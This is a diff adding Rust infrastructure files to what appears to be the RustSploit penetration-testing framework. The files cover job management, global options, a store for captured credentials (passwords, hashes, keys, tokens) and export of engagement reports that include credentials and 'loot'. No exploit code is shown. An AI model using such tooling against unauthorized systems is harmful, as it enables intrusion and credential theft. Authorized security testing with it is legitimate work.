/// ### SSDP MSearch (`scanners/ssdp_msearch`)
/// `retries`, `search_target`
///
/// ### Sample Scanner (`scanners/sample_scanner`)
/// `check_http`, `check_https`
#[derive(Clone, Debug)]
pub struct ModuleConfig {
pub custom_prompts: HashMap<String, String>,
pub api_mode: bool,
}
impl ModuleConfig {
pub fn new() -> Self {
Self::default()
}
}
impl Default for ModuleConfig {
fn default() -> Self {
Self {
custom_prompts: HashMap::new(),
api_mode: false,
}
}
}
/// Global module config instance (API-provided configuration)
pub static MODULE_CONFIG: Lazy<Arc<RwLock<ModuleConfig>>> = Lazy::new(|| {
Arc::new(RwLock::new(ModuleConfig::new()))
});
/// Get a clone of the current module config.
/// Checks the task-local RunContext first (for concurrent API runs),
/// then falls back to the global MODULE_CONFIG.
pub fn get_module_config() -> ModuleConfig {
// Try task-local context first (set by API handler per-request)
let task_local = crate::context::RUN_CONTEXT.try_with(|ctx| ctx.config.clone());
if let Ok(config) = task_local {
return config;
}
// Fallback to global (for CLI/shell mode)
MODULE_CONFIG.read()
.map(|g| g.clone())
.unwrap_or_default()
}
/// Get the per-request target from the task-local RunContext, if set.
/// Returns `None` in shell/CLI mode or when no context is active.
pub fn get_run_target() -> Option<String> {
crate::context::RUN_CONTEXT
.try_with(|ctx| ctx.target.clone())
.ok()
.flatten()
}
pub fn results_dir() -> std::path::PathBuf {
let dir = home::home_dir()
.unwrap_or_else(|| std::path::PathBuf::from("."))
.join(".rustsploit")
.join("results");
if !dir.exists() {
use std::os::unix::fs::DirBuilderExt;
if let Err(e) = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&dir) {
eprintln!("[!] Failed to create results directory {}: {}", dir.display(), e);
}
}
dir
}
+149
View File
@@ -0,0 +1,149 @@
// src/context.rs
//
// Per-run execution context using tokio task-locals.
// Provides per-task ModuleConfig, target, and output accumulator
// for concurrent API runs.
use std::collections::HashMap;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use crate::config::ModuleConfig;
use crate::output::OutputAccumulator;
const MAX_PROMPT_CACHE_ENTRIES: usize = 256;
/// Shared prompt cache for mass scan / CIDR / file target modes.
/// The first concurrent task to need a prompt key acquires the lock,
/// prompts the user interactively, and caches the result. All subsequent tasks
/// find the cached answer and skip the prompt entirely.
pub type PromptCache = Arc<tokio::sync::Mutex<HashMap<String, String>>>;
/// Create a new empty prompt cache.
pub fn new_prompt_cache() -> PromptCache {
Arc::new(tokio::sync::Mutex::new(HashMap::new()))
}
/// Try to insert into a prompt cache, respecting the size cap.
/// Returns false if the cache is full (entry not inserted).
pub fn cache_insert(map: &mut HashMap<String, String>, key: String, value: String) -> bool {
if map.len() >= MAX_PROMPT_CACHE_ENTRIES && !map.contains_key(&key) {
return false;
}
map.insert(key, value);
true
}
// ============================================================
// GLOBAL BATCH MODE — fallback for when task-locals don't propagate
// ============================================================
/// Refcount of active batch guards. Batch mode is active when > 0.
static BATCH_REFCOUNT: AtomicUsize = AtomicUsize::new(0);
static BATCH_CACHE: std::sync::LazyLock<PromptCache> = std::sync::LazyLock::new(new_prompt_cache);
static BATCH_GEN: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
static CACHE_GEN: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
/// RAII guard that decrements the batch refcount on drop, even on early
/// `?` returns or panics. Use `enter_batch_mode()` to obtain one.
pub struct BatchGuard(());
impl Drop for BatchGuard {
fn drop(&mut self) {
BATCH_REFCOUNT.fetch_sub(1, Ordering::Release);
}
}
/// Activate global batch mode. Returns a guard that automatically
/// deactivates it when dropped (including on `?` early returns).
/// Nested/concurrent calls are safe — batch stays active until all guards drop.
/// The cache is cleared lazily on first access in each new batch generation,
/// so this function is lock-free and safe to call from async code.
pub fn enter_batch_mode() -> BatchGuard {
let prev = BATCH_REFCOUNT.fetch_add(1, Ordering::AcqRel);
if prev == 0 {
BATCH_GEN.fetch_add(1, Ordering::Release);
}
BatchGuard(())
}
pub fn is_batch_active() -> bool {
BATCH_REFCOUNT.load(Ordering::Acquire) > 0
}
pub fn batch_cache() -> &'static PromptCache {
&BATCH_CACHE
}
pub fn batch_generation() -> u64 {
BATCH_GEN.load(Ordering::Acquire)
}
pub(crate) fn cache_generation() -> u64 {
CACHE_GEN.load(Ordering::Acquire)
}
pub(crate) fn set_cache_generation(generation: u64) {
CACHE_GEN.store(generation, Ordering::Release);
}
tokio::task_local! {
/// Task-local run context. Set by the API/CLI dispatcher before invoking a module.
/// Modules don't need to reference this directly — the `cfg_prompt_*` functions
/// check it automatically.
pub static RUN_CONTEXT: Arc<RunContext>;
}
/// Per-run context carrying module config, target, and structured output accumulator.
pub struct RunContext {
/// Module configuration for this run (prompts, api_mode, etc.)
pub config: ModuleConfig,
/// Per-request target override (API mode). Shell mode leaves this None.
pub target: Option<String>,
/// Accumulated structured findings from this module run.
pub output: OutputAccumulator,
/// Shared prompt cache for concurrent dispatch modes.
/// When set, `cfg_prompt_*` functions check this cache before prompting stdin.
pub prompt_cache: Option<PromptCache>,
}
impl RunContext {
/// Create a new run context with config and target.
pub fn with_target(config: ModuleConfig, target: String) -> Self {
Self {
config,
target: Some(target),
output: OutputAccumulator::new(),
prompt_cache: None,
}
}
/// Create a run context with a shared prompt cache (for mass scan / CIDR modes).
/// All concurrent tasks share the same cache so prompts are answered only once.
pub fn with_prompt_cache(config: ModuleConfig, cache: PromptCache, target: String) -> Self {
Self {
config,
target: Some(target),
output: OutputAccumulator::new(),
prompt_cache: Some(cache),
}
}
}
// ============================================================
// HELPER: Run a future within a RunContext scope
// ============================================================
/// Execute an async closure inside a task-local `RUN_CONTEXT` with a target.
/// Returns the closure's result plus the `RunContext`.
pub async fn run_with_context_target<F, Fut, T>(config: crate::config::ModuleConfig, target: String, f: F) -> (T, std::sync::Arc<RunContext>)
where
F: FnOnce() -> Fut,
Fut: std::future::Future<Output = T>,
{
let ctx = std::sync::Arc::new(RunContext::with_target(config, target));
let ctx_clone = ctx.clone();
let result = RUN_CONTEXT.scope(ctx_clone, f()).await;
(result, ctx)
}
+267
View File
@@ -0,0 +1,267 @@
use std::path::PathBuf;
use colored::*;
use once_cell::sync::Lazy;
use serde::{Deserialize, Serialize};
use tokio::sync::RwLock;
/// Type of credential stored.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub enum CredType {
Password,
Hash,
Key,
Token,
}
impl std::fmt::Display for CredType {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
CredType::Password => write!(f, "password"),
CredType::Hash => write!(f, "hash"),
CredType::Key => write!(f, "key"),
CredType::Token => write!(f, "token"),
}
}
}
/// A single credential entry.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct CredEntry {
pub id: String,
pub host: String,
pub port: u16,
pub service: String,
pub username: String,
pub secret: String,
pub cred_type: CredType,
pub source_module: String,
pub timestamp: String,
pub valid: bool,
}
/// Credential store backed by a JSON file.
pub struct CredStore {
entries: RwLock<Vec<CredEntry>>,
file_path: PathBuf,
}
impl CredStore {
fn new() -> Self {
let file_path = home::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".rustsploit")
.join("creds.json");
// Synchronous load at init time (called once from Lazy)
let entries = if file_path.exists() {
match std::fs::read_to_string(&file_path) {
Ok(contents) => match serde_json::from_str(&contents) {
Ok(data) => data,
Err(e) => {
eprintln!("[!] Warning: creds.json is corrupted ({}). Starting fresh.", e);
let backup = file_path.with_extension("json.bak");
if let Err(e) = std::fs::copy(&file_path, &backup) {
eprintln!("[!] Failed to backup corrupted creds.json: {}", e);
}
Vec::new()
}
},
Err(e) => {
eprintln!("[!] Failed to read creds.json: {}", e);
Vec::new()
}
}
} else {
Vec::new()
};
Self {
entries: RwLock::new(entries),
file_path,
}
}
/// Maximum length for credential fields to prevent memory abuse.
const MAX_FIELD_LEN: usize = 4096;
/// Add a credential. Returns `Some(id)` on success, `None` on validation failure.
pub async fn add(
&self,
host: &str,
port: u16,
service: &str,
username: &str,
secret: &str,
cred_type: CredType,
source_module: &str,
) -> Option<String> {
// Input validation
if host.is_empty() || host.len() > Self::MAX_FIELD_LEN {
return None;
}
if secret.len() > Self::MAX_FIELD_LEN || username.len() > Self::MAX_FIELD_LEN {
return None;
}
let id = uuid::Uuid::new_v4().simple().to_string()[..16].to_string();
let entry = CredEntry {
id: id.clone(),
host: host.to_string(),
port,
service: service.to_string(),
username: username.to_string(),
secret: secret.to_string(),
cred_type,
source_module: source_module.to_string(),
timestamp: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
valid: true,
};
let snapshot = {
let mut entries = self.entries.write().await;
entries.push(entry);
entries.clone()
};
self.save_locked(&snapshot).await;
Some(id)
}
/// List all credentials.
pub async fn list(&self) -> Vec<CredEntry> {
self.entries.read().await.clone()
}
/// Search credentials by host.
pub async fn search(&self, query: &str) -> Vec<CredEntry> {
let q = query.to_lowercase();
self.list().await.into_iter().filter(|e| {
e.host.to_lowercase().contains(&q)
|| e.service.to_lowercase().contains(&q)
|| e.username.to_lowercase().contains(&q)
}).collect()
}
/// Delete a credential by ID.
pub async fn delete(&self, id: &str) -> bool {
let snapshot = {
let mut entries = self.entries.write().await;
let before = entries.len();
entries.retain(|e| e.id != id);
if entries.len() < before {
Some(entries.clone())
} else {
None
}
};
if let Some(data) = snapshot {
self.save_locked(&data).await;
return true;
}
false
}
/// Clear all credentials.
pub async fn clear(&self) {
{
self.entries.write().await.clear();
}
self.save_locked(&[]).await;
}
async fn save_locked(&self, entries: &[CredEntry]) {
if let Some(parent) = self.file_path.parent() {
if let Err(e) = tokio::fs::create_dir_all(parent).await {
eprintln!("[!] Failed to create creds directory: {}", e);
return;
}
}
let tmp = self.file_path.with_extension("json.tmp");
let json = match serde_json::to_string_pretty(entries) {
Ok(j) => j,
Err(e) => {
eprintln!("[!] Failed to serialize credentials: {}", e);
return;
}
};
{
let file = match tokio::fs::OpenOptions::new()
.write(true)
.create(true)
.truncate(true)
.mode(0o600)
.open(&tmp)
.await
{
Ok(f) => f,
Err(e) => {
eprintln!("[!] Failed to write temp creds file: {}", e);
return;
}
};
let mut file = file;
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, json.as_bytes()).await {
eprintln!("[!] Failed to write temp creds file: {}", e);
return;
}
}
if let Err(e) = tokio::fs::rename(&tmp, &self.file_path).await {
eprintln!("[!] Failed to rename creds file: {}", e);
}
}
/// Display all credentials in a formatted table.
pub async fn display(&self) {
let entries = self.list().await;
if entries.is_empty() {
println!("{}", "No credentials stored. Use 'creds add' to add one.".dimmed());
return;
}
println!();
println!("{}", format!("Credentials ({} total):", entries.len()).bold().underline());
println!();
println!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
"ID".bold(), "Host".bold(), "Port".bold(), "Service".bold(),
"Username".bold(), "Secret".bold(), "Type".bold(), "Valid".bold());
println!(" {}", "-".repeat(100).dimmed());
for e in &entries {
let valid_str = if e.valid { "yes".green() } else { "no".red() };
println!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
e.id, e.host, e.port, e.service, e.username,
if e.secret.len() > 18 { format!("{}...", &e.secret[..15]) } else { e.secret.clone() },
e.cred_type, valid_str);
}
println!();
}
/// Display search results.
pub fn display_results(&self, results: &[CredEntry]) {
if results.is_empty() {
println!("{}", "No matching credentials found.".dimmed());
return;
}
println!();
println!("{}", format!("Found {} credential(s):", results.len()).bold());
println!();
for e in results {
println!(" [{}] {}@{}:{} ({}) - {} [{}]",
e.id.yellow(), e.username.green(), e.host, e.port,
e.service, e.cred_type,
if e.valid { "valid".green() } else { "invalid".red() });
}
println!();
}
}
pub static CRED_STORE: Lazy<CredStore> = Lazy::new(CredStore::new);
/// Convenience function for modules to store a discovered credential.
pub async fn store_credential(
host: &str,
port: u16,
service: &str,
username: &str,
secret: &str,
cred_type: CredType,
source_module: &str,
) -> Option<String> {
CRED_STORE.add(host, port, service, username, secret, cred_type, source_module).await
}
+228
View File
@@ -0,0 +1,228 @@
use std::io::Write;
use anyhow::{Context, Result};
use colored::*;
use serde::Serialize;
/// Write data to a file, rejecting symlinks atomically with O_NOFOLLOW.
fn safe_write(path: &str, data: &[u8]) -> Result<()> {
#[cfg(unix)]
{
use std::os::unix::fs::OpenOptionsExt;
let mut file = std::fs::OpenOptions::new()
.write(true)
.create(true)
.truncate(true)
.custom_flags(libc::O_NOFOLLOW)
.open(path)
.context(format!("Failed to open '{}' (symlinks not allowed)", path))?;
file.write_all(data)
.context(format!("Failed to write to '{}'", path))?;
file.flush()?;
Ok(())
}
#[cfg(not(unix))]
{
std::fs::write(path, data).context(format!("Failed to write to '{}'", path))?;
Ok(())
}
}
/// Full engagement data for export.
#[derive(Serialize)]
struct EngagementExport {
workspace: String,
exported_at: String,
hosts: Vec<crate::workspace::HostEntry>,
services: Vec<crate::workspace::ServiceEntry>,
credentials: Vec<crate::cred_store::CredEntry>,
loot: Vec<crate::loot::LootEntry>,
}
/// Gather all engagement data atomically.
/// Workspace data is snapshotted in a single read to avoid mixing data
/// across concurrent workspace switches.
async fn gather_data() -> EngagementExport {
let workspace_name = crate::workspace::WORKSPACE.current_name().await;
let workspace_data = crate::workspace::WORKSPACE.get_data().await;
EngagementExport {
workspace: workspace_name,
exported_at: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
hosts: workspace_data.hosts,
services: workspace_data.services,
credentials: crate::cred_store::CRED_STORE.list().await,
loot: crate::loot::LOOT_STORE.list().await,
}
}
/// Return engagement data as a JSON string.
pub async fn export_json_string() -> Result<String> {
let data = gather_data().await;
serde_json::to_string_pretty(&data).context("Failed to serialize engagement data")
}
/// Export all engagement data to a JSON file.
pub async fn export_json(path: &str) -> Result<()> {
validate_export_path(path)?;
let json = export_json_string().await?;
safe_write(path, json.as_bytes())?;
crate::mprintln!("{}", format!("[+] Exported JSON to '{}'", path).green());
Ok(())
}
/// Return engagement data as a CSV string.
pub async fn export_csv_string() -> Result<String> {
let data = gather_data().await;
let mut output = String::new();
output.push_str("# Hosts\n");
output.push_str("ip,hostname,os_guess,first_seen,last_seen,notes_count\n");
for h in &data.hosts {
output.push_str(&format!("{},{},{},{},{},{}\n",
csv_escape(&h.ip),
csv_escape(h.hostname.as_deref().unwrap_or("")),
csv_escape(h.os_guess.as_deref().unwrap_or("")),
csv_escape(&h.first_seen),
csv_escape(&h.last_seen),
h.notes.len()));
}
output.push('\n');
output.push_str("# Services\n");
output.push_str("host,port,protocol,service,version\n");
for s in &data.services {
output.push_str(&format!("{},{},{},{},{}\n",
csv_escape(&s.host), s.port, csv_escape(&s.protocol),
csv_escape(&s.service_name), csv_escape(s.version.as_deref().unwrap_or(""))));
}
output.push('\n');
output.push_str("# Credentials\n");
output.push_str("id,host,port,service,username,secret,type,source,valid\n");
for c in &data.credentials {
output.push_str(&format!("{},{},{},{},{},{},{},{},{}\n",
csv_escape(&c.id), csv_escape(&c.host), c.port,
csv_escape(&c.service), csv_escape(&c.username),
csv_escape(&c.secret), c.cred_type,
csv_escape(&c.source_module), c.valid));
}
output.push('\n');
output.push_str("# Loot\n");
output.push_str("id,host,type,description,filename,source\n");
for l in &data.loot {
output.push_str(&format!("{},{},{},{},{},{}\n",
csv_escape(&l.id), csv_escape(&l.host), csv_escape(&l.loot_type),
csv_escape(&l.description), csv_escape(&l.filename),
csv_escape(&l.source_module)));
}
Ok(output)
}
/// Export engagement data to a CSV file.
pub async fn export_csv(path: &str) -> Result<()> {
validate_export_path(path)?;
let output = export_csv_string().await?;
safe_write(path, output.as_bytes())?;
crate::mprintln!("{}", format!("[+] Exported CSV to '{}'", path).green());
Ok(())
}
/// Return a human-readable summary report as a string.
pub async fn export_summary_string() -> Result<String> {
let data = gather_data().await;
let mut report = String::new();
report.push_str("============================================================\n");
report.push_str(" RustSploit Engagement Report\n");
report.push_str("============================================================\n\n");
report.push_str(&format!("Workspace: {}\n", data.workspace));
report.push_str(&format!("Generated: {}\n\n", data.exported_at));
report.push_str("--- Summary ---\n");
report.push_str(&format!("Hosts discovered: {}\n", data.hosts.len()));
report.push_str(&format!("Services found: {}\n", data.services.len()));
report.push_str(&format!("Credentials obtained: {}\n", data.credentials.len()));
report.push_str(&format!("Loot collected: {}\n\n", data.loot.len()));
if !data.hosts.is_empty() {
report.push_str("--- Hosts ---\n");
for h in &data.hosts {
report.push_str(&format!(" {} ({})\n", h.ip, h.hostname.as_deref().unwrap_or("unknown")));
if let Some(ref os) = h.os_guess { report.push_str(&format!(" OS: {}\n", os)); }
if !h.notes.is_empty() {
report.push_str(" Notes:\n");
for note in &h.notes { report.push_str(&format!(" - {}\n", note)); }
}
}
report.push('\n');
}
if !data.services.is_empty() {
report.push_str("--- Services ---\n");
for s in &data.services {
report.push_str(&format!(" {}:{}/{} - {} {}\n", s.host, s.port, s.protocol, s.service_name, s.version.as_deref().unwrap_or("")));
}
report.push('\n');
}
if !data.credentials.is_empty() {
report.push_str("--- Credentials ---\n");
for c in &data.credentials {
report.push_str(&format!(" {}@{}:{} ({}) - {} [{}]\n", c.username, c.host, c.port, c.service, c.cred_type, if c.valid { "valid" } else { "invalid" }));
}
report.push('\n');
}
if !data.loot.is_empty() {
report.push_str("--- Loot ---\n");
for l in &data.loot {
report.push_str(&format!(" [{}] {} from {} - {}\n", l.loot_type, l.filename, l.host, l.description));
}
report.push('\n');
}
report.push_str("============================================================\n");
report.push_str("Generated by RustSploit (https://github.com/thekiaboys/rustsploit)\n");
Ok(report)
}
/// Export a human-readable summary report to a file.
pub async fn export_summary(path: &str) -> Result<()> {
validate_export_path(path)?;
let report = export_summary_string().await?;
safe_write(path, report.as_bytes())?;
crate::mprintln!("{}", format!("[+] Exported summary report to '{}'", path).green());
Ok(())
}
fn csv_escape(s: &str) -> String {
let mut val = s.to_string();
let needs_formula_guard = val.starts_with('=')
|| val.starts_with('+')
|| val.starts_with('@')
|| val.starts_with('-')
|| val.starts_with('\t')
|| val.starts_with('\r');
if needs_formula_guard {
val = format!("'{}", val);
}
if needs_formula_guard || val.contains(',') || val.contains('"') || val.contains('\n') {
format!("\"{}\"", val.replace('"', "\"\""))
} else {
val
}
}
pub fn validate_export_path(path: &str) -> Result<()> {
if path.is_empty() || path.len() > 255 {
return Err(anyhow::anyhow!("Invalid export path length (max 255 chars)"));
}
if path.contains("..") || path.contains('\0') {
return Err(anyhow::anyhow!("Path traversal not allowed in export path"));
}
if path.starts_with('/') || path.starts_with('\\') || path.contains('/') || path.contains('\\') {
return Err(anyhow::anyhow!("Only filenames are allowed for export (no directory separators). Use a relative filename like 'report.json'."));
}
if path.starts_with('.') {
return Err(anyhow::anyhow!("Hidden files not allowed for export"));
}
Ok(())
}
+175
View File
@@ -0,0 +1,175 @@
use std::collections::HashMap;
use std::path::PathBuf;
use colored::*;
use once_cell::sync::Lazy;
use tokio::sync::RwLock;
/// Persistent global options that apply across all modules.
/// Like Metasploit's `setg` — values are checked by `cfg_prompt_*`
/// after custom_prompts but before interactive stdin.
pub struct GlobalOptions {
options: RwLock<HashMap<String, String>>,
file_path: PathBuf,
}
impl GlobalOptions {
fn new() -> Self {
let file_path = home::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".rustsploit")
.join("global_options.json");
let options = if file_path.exists() {
match std::fs::read_to_string(&file_path) {
Ok(contents) => match serde_json::from_str(&contents) {
Ok(data) => data,
Err(e) => {
eprintln!("[!] Warning: global_options.json is corrupted ({}). Starting fresh.", e);
let backup = file_path.with_extension("json.bak");
if let Err(e) = std::fs::copy(&file_path, &backup) {
eprintln!("[!] Failed to backup corrupted global_options.json: {}", e);
}
HashMap::new()
}
},
Err(e) => {
eprintln!("[!] Failed to read global_options.json: {}", e);
HashMap::new()
}
}
} else {
HashMap::new()
};
Self {
options: RwLock::new(options),
file_path,
}
}
const MAX_KEY_LEN: usize = 256;
const MAX_VALUE_LEN: usize = 4096;
const MAX_ENTRIES: usize = 1024;
/// Set a global option. Persists to disk.
/// Returns false if key/value exceed size limits or entry cap reached.
pub async fn set(&self, key: &str, value: &str) -> bool {
if key.is_empty() || key.len() > Self::MAX_KEY_LEN || value.len() > Self::MAX_VALUE_LEN {
return false;
}
let snapshot = {
let mut opts = self.options.write().await;
if opts.len() >= Self::MAX_ENTRIES && !opts.contains_key(key) {
return false;
}
opts.insert(key.to_string(), value.to_string());
opts.clone()
};
self.save_locked(&snapshot).await;
true
}
/// Remove a global option. Persists to disk.
pub async fn unset(&self, key: &str) -> bool {
let snapshot = {
let mut opts = self.options.write().await;
let removed = opts.remove(key).is_some();
if removed { Some(opts.clone()) } else { None }
};
if let Some(data) = snapshot {
self.save_locked(&data).await;
return true;
}
false
}
/// Get a global option value.
pub async fn get(&self, key: &str) -> Option<String> {
self.options.read().await.get(key).cloned()
}
/// Synchronous blocking get for use in non-async contexts.
/// Spins briefly if a writer holds the lock, so user-set values
/// are never silently replaced by defaults during a concurrent save.
pub fn try_get(&self, key: &str) -> Option<String> {
for _ in 0..50 {
if let Ok(guard) = self.options.try_read() {
return guard.get(key).cloned();
}
std::thread::sleep(std::time::Duration::from_millis(1));
}
None
}
/// Get all global options.
pub async fn all(&self) -> HashMap<String, String> {
self.options.read().await.clone()
}
/// Save to disk using atomic write (write to temp, then rename).
async fn save_locked(&self, opts: &HashMap<String, String>) {
if let Some(parent) = self.file_path.parent() {
if let Err(e) = tokio::fs::create_dir_all(parent).await {
eprintln!("[!] Failed to create options directory: {}", e);
return;
}
}
let tmp = self.file_path.with_extension("json.tmp");
let json = match serde_json::to_string_pretty(opts) {
Ok(j) => j,
Err(e) => {
eprintln!("[!] Failed to serialize options: {}", e);
return;
}
};
{
let file = match tokio::fs::OpenOptions::new()
.write(true)
.create(true)
.truncate(true)
.mode(0o600)
.open(&tmp)
.await
{
Ok(f) => f,
Err(e) => {
eprintln!("[!] Failed to write temp options file: {}", e);
return;
}
};
let mut file = file;
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, json.as_bytes()).await {
eprintln!("[!] Failed to write temp options file: {}", e);
return;
}
}
if let Err(e) = tokio::fs::rename(&tmp, &self.file_path).await {
eprintln!("[!] Failed to rename options file: {}", e);
}
}
/// Display all global options in a formatted table.
pub async fn display(&self) {
let opts = self.all().await;
if opts.is_empty() {
println!("{}", "No global options set. Use 'setg <key> <value>' to set one.".dimmed());
return;
}
println!();
println!("{}", "Global Options:".bold().underline());
println!();
println!(" {:<30} {}", "Key".bold(), "Value".bold());
println!(" {:<30} {}", "---".dimmed(), "-----".dimmed());
let mut keys: Vec<_> = opts.keys().collect();
keys.sort();
for key in keys {
if let Some(val) = opts.get(key) {
println!(" {:<30} {}", key.green(), val);
}
}
println!();
}
}
pub static GLOBAL_OPTIONS: Lazy<GlobalOptions> = Lazy::new(GlobalOptions::new);
+423
View File
@@ -0,0 +1,423 @@
use std::collections::HashMap;
use std::sync::atomic::{AtomicU32, AtomicU64, Ordering};
use std::sync::Arc;
use std::sync::LazyLock as Lazy;
use std::sync::RwLock;
use colored::*;
use serde::Serialize;
use tokio::sync::{broadcast, watch};
#[derive(Clone, Debug, Serialize)]
pub enum JobEvent {
Started { id: u32, module: String, target: String },
Completed { id: u32 },
Failed { id: u32, error: String },
Cancelled { id: u32 },
}
/// Status of a background job.
#[derive(Debug, Clone, Serialize)]
pub enum JobStatus {
Running,
Completed,
Failed(String),
Cancelled,
}
impl std::fmt::Display for JobStatus {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
JobStatus::Running => write!(f, "Running"),
JobStatus::Completed => write!(f, "Completed"),
JobStatus::Failed(msg) => write!(f, "Failed: {}", msg),
JobStatus::Cancelled => write!(f, "Cancelled"),
}
}
}
/// Thread-safe output + progress tracker shared between the job task and API readers.
pub struct JobProgress {
output: RwLock<std::collections::VecDeque<String>>,
total_lines_pushed: AtomicU64,
pub success_count: AtomicU64,
pub fail_count: AtomicU64,
pub total_targets: AtomicU64,
pub last_activity: RwLock<chrono::DateTime<chrono::Local>>,
}
const MAX_OUTPUT_LINES: usize = 5000;
impl JobProgress {
pub fn new() -> Arc<Self> {
Arc::new(Self {
output: RwLock::new(std::collections::VecDeque::with_capacity(MAX_OUTPUT_LINES)),
total_lines_pushed: AtomicU64::new(0),
success_count: AtomicU64::new(0),
fail_count: AtomicU64::new(0),
total_targets: AtomicU64::new(0),
last_activity: RwLock::new(chrono::Local::now()),
})
}
pub fn push_line(&self, line: String) {
if let Ok(mut buf) = self.output.write() {
if buf.len() >= MAX_OUTPUT_LINES {
buf.pop_front();
}
buf.push_back(line);
}
self.total_lines_pushed.fetch_add(1, Ordering::Relaxed);
if let Ok(mut ts) = self.last_activity.write() {
*ts = chrono::Local::now();
}
}
pub fn get_output(&self, from: usize) -> Vec<String> {
self.output.read().unwrap_or_else(|e| e.into_inner())
.iter().skip(from).cloned().collect()
}
pub fn output_len(&self) -> usize {
self.output.read().unwrap_or_else(|e| e.into_inner()).len()
}
pub fn completed(&self) -> u64 {
self.success_count.load(Ordering::Relaxed) + self.fail_count.load(Ordering::Relaxed)
}
}
/// A background job entry.
pub struct Job {
pub id: u32,
pub module: String,
pub target: String,
pub started_at: chrono::DateTime<chrono::Local>,
pub status: JobStatus,
pub progress: Arc<JobProgress>,
finished_at: Option<std::time::Instant>,
cancel_tx: watch::Sender<bool>,
handle: Option<tokio::task::JoinHandle<()>>,
}
const MAX_JOBS: usize = 1000;
const FINISHED_JOB_RETENTION_SECS: u64 = 300;
const DEFAULT_MAX_RUNNING: usize = 5;
/// Manages background jobs.
pub struct JobManager {
jobs: RwLock<HashMap<u32, Job>>,
next_id: AtomicU32,
max_running: AtomicU32,
event_tx: broadcast::Sender<JobEvent>,
}
impl JobManager {
fn new() -> Self {
use rand::RngExt;
let start = rand::rng().random_range(1..(1u32 << 24));
let (event_tx, _) = broadcast::channel(256);
Self {
jobs: RwLock::new(HashMap::new()),
next_id: AtomicU32::new(start),
max_running: AtomicU32::new(DEFAULT_MAX_RUNNING as u32),
event_tx,
}
}
pub fn subscribe(&self) -> broadcast::Receiver<JobEvent> {
self.event_tx.subscribe()
}
pub fn running_count(&self) -> usize {
self.jobs.read().map(|jobs| {
jobs.values().filter(|j| {
j.handle.as_ref().map(|h| !h.is_finished()).unwrap_or(false)
}).count()
}).unwrap_or(0)
}
pub fn get_max_running(&self) -> u32 {
self.max_running.load(Ordering::Relaxed)
}
pub fn set_max_running(&self, limit: u32) {
let clamped = limit.clamp(1, 100);
self.max_running.store(clamped, Ordering::Relaxed);
}
pub fn spawn(
&self,
module: String,
target: String,
verbose: bool,
config: Option<crate::config::ModuleConfig>,
) -> Result<(u32, Arc<JobProgress>), String> {
let mut jobs = self.jobs.write().map_err(|_| "Job lock poisoned".to_string())?;
let running = jobs.values().filter(|j| {
j.handle.as_ref().map(|h| !h.is_finished()).unwrap_or(false)
}).count();
let max = self.max_running.load(Ordering::Relaxed) as usize;
if running >= max {
return Err(format!(
"Job limit reached: {}/{} concurrent jobs running. Kill a running job or increase the limit.",
running, max
));
}
let mut id = self.next_id.fetch_add(1, Ordering::Relaxed);
while jobs.contains_key(&id) {
id = self.next_id.fetch_add(1, Ordering::Relaxed);
}
if jobs.len() >= MAX_JOBS {
let now = std::time::Instant::now();
jobs.retain(|_, j| {
match j.finished_at {
None => true,
Some(at) => now.duration_since(at).as_secs() < FINISHED_JOB_RETENTION_SECS,
}
});
if jobs.len() >= MAX_JOBS {
let mut finished: Vec<(u32, std::time::Instant)> = jobs.iter()
.filter_map(|(jid, j)| j.finished_at.map(|t| (*jid, t)))
.collect();
finished.sort_by_key(|(_, t)| *t);
for (oldest_id, _) in finished.into_iter().take(jobs.len() - MAX_JOBS + 1) {
jobs.remove(&oldest_id);
}
}
}
let (cancel_tx, cancel_rx) = watch::channel(false);
let progress = JobProgress::new();
let prog_clone = progress.clone();
let mod_clone = module.clone();
let tgt_clone = target.clone();
let evt_module = module.clone();
let evt_target = target.clone();
let event_tx = self.event_tx.clone();
let handle = tokio::spawn(async move {
let mut rx = cancel_rx;
prog_clone.push_line(format!("[*] Starting {} against {}", mod_clone, tgt_clone));
let run_fut = {
let m = mod_clone.clone();
let t = tgt_clone.clone();
async move {
if let Some(cfg) = config {
let (result, _ctx) = crate::context::run_with_context_target(
cfg,
t.clone(),
|| async move { crate::commands::run_module(&m, &t, verbose).await },
).await;
result
} else {
crate::commands::run_module(&m, &t, verbose).await
}
}
};
tokio::select! {
result = run_fut => {
match result {
Ok(_) => {
prog_clone.push_line(format!("[+] Completed: {} against {}", mod_clone, tgt_clone));
crate::mprintln!("\n{}", format!("[*] Job completed: {} against {}", mod_clone, tgt_clone).green());
if let Err(e) = event_tx.send(JobEvent::Completed { id }) {
tracing::debug!("No WS subscribers for job event: {}", e);
}
}
Err(e) => {
let msg = e.to_string();
prog_clone.push_line(format!("[-] Failed: {} - {}", mod_clone, msg));
crate::meprintln!("\n{}", format!("[!] Job failed: {} - {}", mod_clone, msg).red());
if let Err(e) = event_tx.send(JobEvent::Failed { id, error: msg }) {
tracing::debug!("No WS subscribers for job event: {}", e);
}
}
}
}
_ = async { while rx.changed().await.is_ok() { if *rx.borrow() { break; } } } => {
prog_clone.push_line(format!("[!] Cancelled: {}", mod_clone));
crate::mprintln!("\n{}", format!("[*] Job cancelled: {}", mod_clone).yellow());
if let Err(e) = event_tx.send(JobEvent::Cancelled { id }) {
tracing::debug!("No WS subscribers for job event: {}", e);
}
}
}
});
jobs.insert(id, Job {
id,
module,
target,
started_at: chrono::Local::now(),
status: JobStatus::Running,
progress: progress.clone(),
finished_at: None,
cancel_tx,
handle: Some(handle),
});
drop(jobs);
